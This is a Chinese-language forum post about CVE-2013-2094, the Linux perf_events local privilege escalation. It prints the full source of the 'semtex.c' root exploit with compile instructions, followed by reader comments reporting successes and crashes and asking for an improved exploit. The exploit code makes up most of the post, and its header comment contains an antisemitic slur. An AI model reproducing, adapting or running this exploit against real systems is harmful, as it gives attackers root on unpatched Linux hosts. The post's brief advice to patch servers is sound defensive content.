Linux PREF_EVENTS Local Root 2.6.37-3.8.10 x86_64，本地提权，[CVE-2013-2094]Linux PREF_EVENTS Local Root 2.6.37-3.8.10 x86_64。
http://sd.fucksheep.org/warez/semtex.c
又一个linux安全的偶像sd牛刚刚发出的作品。。感觉上基本是个通杀的东西，但是目前为止，我的测试是rh6.3和centos6.3，2.6.32 kernel成功root，6.4上目前只是挂了系统，只能证明漏洞是存在的。
待有缘人后来者修正之。
也要预警各位，赶紧修复各自的服务器。虽然貌似也就linux 3.8.10修了这个漏洞。。。
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}
int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
5.15 update:
最新消息，CVE号已经出来了。thx@请叫我大神 CVE-2013-2094
然后影响范围也有所缩减，实际上是3.8.9就已经修复了此漏洞。
其次这的确是个0day漏洞，目前各大厂商都还没有给出正式的二进制hotfix patch。
但是linux 内核上是有patch的，各位心急的可以参考下：
如果你们对原理感兴趣，不妨去看看spender对漏洞的解析：
各种吐槽：
1#
debug | 2013-05-14 16:07
屌
2#
MacTavish | 2013-05-14 16:29
opensuse12.2内核版本3.4.33-2.24测试系统崩溃
3#
楼上是马甲 | 2013-05-14 16:57
最喜欢看楼主帖子了
顶一下
4#
xsser (十根阳具有长短!!) | 2013-05-14 17:14
好日子啊
5#
GaRY | 2013-05-14 17:21
@MacTavish x86？x86_64?
6#
Mujj (找个玩渗透网站的、教我玩渗透、我给他8位qq和情侣) | 2013-05-14 17:23
忙死
7#
裙下的秘密 | 2013-05-14 17:35
今天这是什么日子啊
8#
Mujj (找个玩渗透网站的、教我玩渗透、我给他8位qq和情侣) | 2013-05-14 17:36
@GaRY 不敢升级怎么破，怕不兼容起不来了，没KVM啊。
9#
MacTavish | 2013-05-14 18:15
@GaRY x86_64
10#
GaRY | 2013-05-14 18:54
@MacTavish 系统崩溃的话，估计漏洞还是有的，只是code可能要等人放更好的版本了。
如果只是程序挂掉，检查下是否用了-O2优化
11#
请叫我大神 | 2013-05-15 06:05
@GaRY CVE-2013-2094 10年9月的代码引入的，今年4月才修，LOL，涉及系统多咯。数组下标越界导致的写操作，exp不是通用的，地址没算准，写内核地址，系统必挂无疑
12#
楼上是马甲 | 2013-05-15 08:20
@请叫我大神 求改进EXP
13#
坏虾 (黑阔都被爆菊花~) | 2013-05-15 08:34
@GaRY CentOS 6.3 2.6.32-279 EXP失败，并且系统为挂。。 求调教
14#
GaRY | 2013-05-15 09:58
今天的消息又小update了下
留言评论（旧系统）：